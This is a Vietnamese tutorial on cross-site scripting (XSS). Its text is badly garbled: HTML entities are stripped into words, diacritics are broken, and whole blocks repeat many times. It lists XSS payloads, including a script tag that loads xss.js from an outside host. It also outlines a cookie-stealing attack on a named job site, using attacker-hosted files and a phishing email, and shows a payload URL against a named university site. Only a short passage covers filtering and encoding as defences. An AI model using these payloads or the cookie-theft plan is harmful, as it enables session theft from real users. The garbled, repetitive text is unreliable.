C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Recommended